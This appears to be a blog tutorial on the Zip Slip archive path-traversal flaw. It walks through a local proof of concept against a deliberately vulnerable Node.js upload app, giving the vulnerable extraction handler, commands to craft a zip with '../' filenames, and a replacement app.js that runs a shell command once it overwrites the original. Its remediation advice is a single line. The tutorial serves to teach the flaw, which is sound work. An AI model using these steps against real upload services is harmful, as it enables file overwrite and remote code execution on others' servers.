There would be many times when you have come across websites with file upload functionality. Zip files have been around since 1989 and the issue with them is ancient. Hackers have been abusing zip file uploads to get RCE and/or overwrite the existing files outside the intended path. The Snyk security team claims to have discovered the vulnerability in 2018 but the same was discovered back in 1991 by the author named Inhuman
. You can read about it in technique #3. This vulnerability is now known as Zip Slip.
Zip Slip & Zipper Down
Zip files and many other archive file formats can contain relative paths and thus path traversals are possible. The vulnerability we will be discussing is named Zip Slip
by snyk. But a couple of weeks before, Pangu Labs discovered the same vulnerability Zipper Down
more specialized for IOS apps.
Zip files and other archive formats sometimes support symlinks. Hence the libraries providing the functionality can be used to bypass the path traversal fixes.
Zip Slip
Zip Slip is a potential vulnerability within web applications where a library used to perform archive extraction does not adequately sanitize archive filenames. If a malicious archive is created with a directory traversal filename, using characters such as ../
, a vulnerable library will extract files outside of the target directory where they should reside.
The impact of a Zip Slip vulnerability would allow an attacker to create or overwrite existing files on the filesystem. In the context of a web application, a web shell could be placed within the application directory to achieve code execution.
Proof Of Concept
For the purpose of the demonstration, I will be using a custom-made application by devahmedsaleh that I’ve forked on my GitHub. This application is developed in nodeJS and you must have the node installed along with npm to install the dependencies.
Navigate to the folder where you want to keep the POC application. Open the git bash and type in the following command
git clone https://github.com/Jawad-Saqib/zip-slip-poc.git
Alternatively, you can just download the code as a zip file from GitHub and extract it.
Once you have the code, open terminal/cmd and install the dependencies using npm command
npm install
Finally, run node app.js
or if you want to have the server refresh automatically after any change in the file, use nodemon start
. First I’ll show with node app.js
to better understand it.
Run the following command
node app.js
The server is listening on port 3000. So open the browser and navigate to http://localhost:3000
OR http://127.0.0.1:3000
and you will see a form to fill in some details and upload a zip file.
Fill in the details and while uploading the zip file, choose the one that comes within the evil folder with the name evil.zip
Note: If the application hangs after hitting upload button, make sure to create a folder with name files in public folder
When the file upload is successful, you will see the message as below
Since the file name is ../../../app.js
it will overwrite the original app.js file with the contents in evil app.js. If you now see the contents of app.js, they are changed.
Understanding
Now in order to understand, let’s revert back to the original app.js by replacing app original.js in the evil folder with app.js file. Following are the contents of the original app.js file (I’m showing only the vulnerable part)
app.post('/api/upload', function(req, res) {
if (Object.keys(req.files).length == 0) return res.status(400).send('No files were uploaded.');
const file = req.files.attachment;
const fileName = file.name + '_' + Date.now();
file.mv(__dirname + `/public/files/${fileName}`, function(err) {
if (err) return res.status(500).send(err);
const extracted = extract(
fileName,
__dirname + '/public/files/',
__dirname + '/public/files/tmp'
);
res.send(extracted + ' uploaded!');
});
});
Upon file upload, the backend code will extract the zip file and then show the feedback message to the user. The extract function is actually the implementation of file extraction using adm-zip
npm package.
Now, stop the server and start it again and now upon navigating to the website will give you the below interface
Examining the evil zip file
The main attacker tool is this evil zip file. If we open the zip file it will not show any file. This is because the filename in it has a special filename including the path traversal characters. For better understanding, run the following command to see the filename
unzip -l evil.zip
So there is actually a file with the name having path traversal characters. When extracting the zip it will go three directories back (into the main application folder) and having the same name as app.js it will replace the original app.js file.
Following are the contents of app.js now
const express = require('express');
const app = express();
const port = 3000;
app.get('/', (req, res) => res.send('PWNED!'));
app.listen(port, '0.0.0.0', () => console.log(`Server is listening on ${port}!`));
Creating malicious zip filename
It is simple to craft a malicious filename to put in a zip archive. Following are the commands to do so
echo "YOUR TEXT" > app.js
zip evil.zip ../../../../../PATH_TO_app.js
unzip -l evil.zip // to see the filenames in zip
You can find a number of sample archives to exploit this zip slip vulnerability from snyk github repo.
Creating RCE file
Create a new app.js file and put the following code in it to execute a simple command
const { exec } = require("child_process");
exec("ls -la", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
Create a new evil zip file with the same name as ../../../app.js
and upload it (Run the server using nodemon start so you can see the result in runtime).
As soon as the file is uploaded, it will overwrite the existing app.js and execute ls -la
command and show the result in console
You can craft the malicious payload file to serve your purpose.
Impact
This malicious user input can dictate a whole application flow according to the liking of the attacker. That’s a major flaw as you can’t have someone else controlling your applications or servers.
From insecure zip file upload, one can also achieve Symlink file overwrite
as well. But that’s the topic for some other time.
Remediation
Always sanitize the filenames and never trust user input.
Leave a Reply